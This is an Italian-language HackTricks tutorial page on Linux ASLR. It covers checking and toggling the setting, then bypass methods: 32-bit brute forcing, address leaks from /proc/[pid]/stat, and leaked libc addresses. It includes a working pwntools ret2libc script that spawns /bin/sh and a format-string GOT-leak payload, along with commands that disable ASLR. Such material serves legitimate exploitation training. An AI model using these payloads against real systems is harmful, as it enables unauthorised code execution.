.. | ||
README.md | ||
ret2plt.md |
ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informazioni di base
Address Space Layout Randomization (ASLR) è una tecnica di sicurezza utilizzata nei sistemi operativi per randomizzare gli indirizzi di memoria utilizzati dai processi di sistema e applicazione. In questo modo, rende significativamente più difficile per un attaccante prevedere la posizione di processi e dati specifici, come lo stack, l'heap e le librerie, mitigando così alcuni tipi di exploit, in particolare i buffer overflow.
Controllare lo stato di ASLR
Per controllare lo stato di ASLR su un sistema Linux, puoi leggere il valore dal file /proc/sys/kernel/randomize_va_space
. Il valore memorizzato in questo file determina il tipo di ASLR applicato:
- 0: Nessuna randomizzazione. Tutto è statico.
- 1: Randomizzazione conservativa. Le librerie condivise, lo stack, mmap(), la pagina VDSO sono randomizzati.
- 2: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite
brk()
è randomizzata.
Puoi controllare lo stato di ASLR con il seguente comando:
cat /proc/sys/kernel/randomize_va_space
Disabilitare ASLR
Per disabilitare ASLR, imposta il valore di /proc/sys/kernel/randomize_va_space
a 0. Disabilitare ASLR non è generalmente raccomandato al di fuori di scenari di test o debug. Ecco come puoi disabilitarlo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Puoi anche disabilitare ASLR per un'esecuzione con:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Abilitare ASLR
Per abilitare ASLR, puoi scrivere un valore di 2 nel file /proc/sys/kernel/randomize_va_space
. Questo richiede tipicamente privilegi di root. L'abilitazione della randomizzazione completa può essere effettuata con il seguente comando:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistenza Attraverso i Riavvii
Le modifiche apportate con i comandi echo
sono temporanee e verranno ripristinate al riavvio. Per rendere la modifica persistente, è necessario modificare il file /etc/sysctl.conf
e aggiungere o modificare la seguente riga:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Dopo aver modificato /etc/sysctl.conf
, applica le modifiche con:
sudo sysctl -p
Questo garantirà che le impostazioni ASLR rimangano attive tra i riavvii.
Bypasses
Forzatura brute-force a 32 bit
PaX divide lo spazio degli indirizzi del processo in 3 gruppi:
- Codice e dati (inizializzati e non inizializzati):
.text
,.data
e.bss
—> 16 bit di entropia nella variabiledelta_exec
. Questa variabile è inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali. - Memoria allocata da
mmap()
e librerie condivise —> 16 bit, chiamatadelta_mmap
. - Lo stack —> 24 bit, indicato come
delta_stack
. Tuttavia, utilizza effettivamente 11 bit (dal 10° al 20° byte inclusi), allineati a 16 byte —> Questo porta a 524.288 possibili indirizzi reali dello stack.
I dati precedenti sono per sistemi a 32 bit e l'entropia finale ridotta rende possibile bypassare ASLR riprovando l'esecuzione più e più volte fino a quando l'exploit non viene completato con successo.
Idee per la forzatura brute-force:
- Se hai un overflow abbastanza grande da ospitare un grande NOP sled prima del shellcode, potresti semplicemente forzare gli indirizzi nello stack fino a quando il flusso salta sopra una parte del NOP sled.
- Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile aggiungere il NOP sled e lo shellcode in una variabile d'ambiente.
- Se l'exploit è locale, puoi provare a forzare l'indirizzo base di libc (utile per sistemi a 32 bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se attacchi un server remoto, potresti provare a forzare l'indirizzo della funzione
usleep
dilibc
, passando come argomento 10 (per esempio). Se a un certo punto il server impiega 10 secondi in più per rispondere, hai trovato l'indirizzo di questa funzione.
{% hint style="success" %} Nei sistemi a 64 bit, l'entropia è molto più alta e questo non è possibile. {% endhint %}
Informazioni Locali (/proc/[pid]/stat
)
Il file /proc/[pid]/stat
di un processo è sempre leggibile da tutti e contiene informazioni interessanti come:
- startcode & endcode: Indirizzi sopra e sotto con il TESTO del binario
- startstack: L'indirizzo dell'inizio dello stack
- start_data & end_data: Indirizzi sopra e sotto dove si trova il BSS
- kstkesp & kstkeip: Indirizzi attuali di ESP e EIP
- arg_start & arg_end: Indirizzi sopra e sotto dove si trovano gli argomenti cli.
- env_start &env_end: Indirizzi sopra e sotto dove si trovano le variabili d'ambiente.
Pertanto, se l'attaccante si trova sullo stesso computer del binario sfruttato e questo binario non si aspetta il overflow da argomenti raw, ma da un diverso input che può essere creato dopo aver letto questo file. È possibile per un attaccante ottenere alcuni indirizzi da questo file e costruire offset da essi per l'exploit.
{% hint style="success" %}
Per ulteriori informazioni su questo file, controlla https://man7.org/linux/man-pages/man5/proc.5.html cercando /proc/pid/stat
{% endhint %}
Avere una leak
- La sfida è fornire una leak
Se ti viene fornita una leak (sfide CTF facili), puoi calcolare offset da essa (supponendo per esempio che tu conosca la versione esatta di libc utilizzata nel sistema che stai sfruttando). Questo esempio di exploit è estratto da esempio da qui (controlla quella pagina per ulteriori dettagli):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Abusando di un buffer overflow sarebbe possibile sfruttare un ret2plt per esfiltrare un indirizzo di una funzione dalla libc. Controlla:
{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}
- Format Strings Arbitrary Read
Proprio come in ret2plt, se hai una lettura arbitraria tramite una vulnerabilità di format strings è possibile esfiltrare l'indirizzo di una funzione libc dal GOT. Il seguente esempio è da qui:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Puoi trovare ulteriori informazioni su Format Strings lettura arbitraria in:
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Ret2ret & Ret2pop
Prova a bypassare ASLR abusando degli indirizzi all'interno dello stack:
{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}
{% hint style="success" %}
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.